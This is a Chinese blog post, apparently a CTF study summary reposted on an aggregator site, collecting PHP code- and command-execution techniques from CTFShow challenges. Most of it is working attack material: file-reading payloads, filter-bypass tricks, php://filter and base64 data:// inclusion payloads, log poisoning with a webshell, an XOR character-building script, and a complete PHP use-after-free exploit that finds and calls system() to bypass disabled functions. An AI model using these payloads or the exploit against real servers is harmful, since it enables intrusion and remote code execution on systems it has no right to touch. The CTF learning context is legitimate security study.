IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 命令执行总结 -> 正文阅读

[PHP知识库]命令执行总结

命令执行总结

刚把CTFSHOW的命令执行部分给做完,但脑子里还是混沌一片,想来总结一下这部分,把知识点给凝聚一下,有一个清晰的脉络

首先一个要搞懂一个概念,命令执行是要执行的什么命令?

我认为大致分为两种:php命令和shell命令,一般只执行一种

php代码执行

首先提到一个函数 eval 通过其与$_GET[a] 配合 可以去执行命令

<?php
    $a=$_GET['a'];
	eval($a);

翻看php手册 可以看到 官方说明

把字符串 code 作为PHP代码执行。

也就是说他执行的是php的代码 那执行的自然也是php的命令了 继续向下翻 可以看到php执行的参数

在这里插入图片描述

最后传入的参数必须以;分号结尾 但是可以用?>给截断开来 即可以用?>结尾 这就产生了一个绕过(绕过;)

执行php代码的话 又分为两种思路

1.利用php自带的读文件的函数去读文件来getflag

利用php自带的一些函数去getflag

常见的读取文件的函数有

fopen('flag.php','rb+');echo fread($file,filesize('flag.php'));//俩参数
echo file_get_contents('flag.php');
show_source('flag.php')
highlight_file('flag.php')  
c=include($_GET[1]);  1=php://filter/convert.base64-encode/resource=flag.php 略微有点骚
c=rename('flag.php','1.txt');  访问1.txt
c=include('flag.php');var_dump(get_defined_vars());
//扫目录  c=print_r(scandir('.'));
show_source(next(array_reverse(scandir(pos(localeconv())))));无数字rce
    localeconv() 函数返回一包含本地数字及货币格式信息的数组。
	scandir() 列出 images 目录中的文件和目录。
	readfile() 输出一个文件。
	current() 返回数组中的当前单元, 默认取第一个值。
	pos() current() 的别名。
	next() 函数将内部指针指向数组中的下一个元素,并输出。
	array_reverse()以相反的元素顺序返回数组。
	highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。

过滤绕过

过滤空格 可用

%09 %0a去截断

2.php自身函数大部分被禁用 利用一些脚本来出flag

c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
} e
xit(0);
?>  //查路径
<?php  // 显flag

function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

3.利用include来执行代码

有三种方式

<?php
    $a=$_GET['a'];
	eval($a);

第一种是eval类型的 可以传参?a=include$_GET[b]&b=*********

b后的参数可以为文件名称(如果文件后缀不是php的话) 或者可利用php伪协议去执行代码 这样做的好处是可以绕过一些函数的过滤

第二种直接是include类型 来执行代码

<?php
    $a=$_GET['a'];
	include $a;

与第一种差不多 区别是第一种可通过GET 或者POST来绕过大部分过滤 而第二种只能硬打 如果过滤了flag之类的关键字 可以用伪协议+base64绕过

.data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==  //配合base64

第三种包含日志

1) apache+Linux日志默认路径
  /etc/httpd/logs/access_log
或者
  /var/log/httpd/access_log
(2) apache+win2003日志默认路径
  D:\xampp\apache\logs\access.log
 D:\xampp\apache\logs\error.log
(3) IIS6.0+win2003默认日志文件
 C:\WINDOWS\system32\Logfiles
(4) IIS7.0+win2003 默认日志文件
 %SystemDrive%\inetpub\logs\LogFiles
(5) nginx 日志文件
 日志文件在用户安装目录logs目录下
以我的安装路径为例/usr/local/nginx,
那我的日志目录就是在/usr/local/nginx/logs里
/var/log/nginx/access.log

这是常见日志目录 可以在UA处写入一句话木马 通过包含日志来getshell

小知识点:include一个文件后 如果文件内容有php标签 那就相当于把其中代码给执行了

include函数是不需要括号的 所以只能用include 或者 request去包含一个文件(变量 )

其常用格式为 include ‘’ request '

顺便写下

shell代码执行

shell代码执行是用来执行Linux下系统命令

常见执行系统命令的函数

system();
echo `cmd`;
echo shell_exac('');

这是最基本的 比较恶心人的是他把各种关键字给过滤了

现在讲一下绕过

过滤空格

%09${IFS}$IFS$9<>< 

过滤cat

tac tail nl less more 

过滤flag

通配符  截断fla''g.php  //这个也可以绕过 tac tail之类的

过滤了system()之类的函数

可以用异或 取反 按位运算来正 下面附一个脚本 来进行拼接

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

详见之前一篇文章

无参数rce

另外讲点比较底层的东西

有个比较重要的点 php在进行传入参数时候 并不是看表面的参数 比如说要传 %0c

php把[a-z]用正则表达式过滤了

这时候php要看的是url解码后的字符是不是[a-z] 而不是过滤%0c 还有呢 就是php比较浮于表面

也就是说 如果用异或来传参 php仅会检查你表面的字符有没有参数 而不会是异或之后的

还有p牛blog 已经讲的很详细了

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-07-23 10:29:01  更:2021-07-23 10:31:20 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/5 3:36:12-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码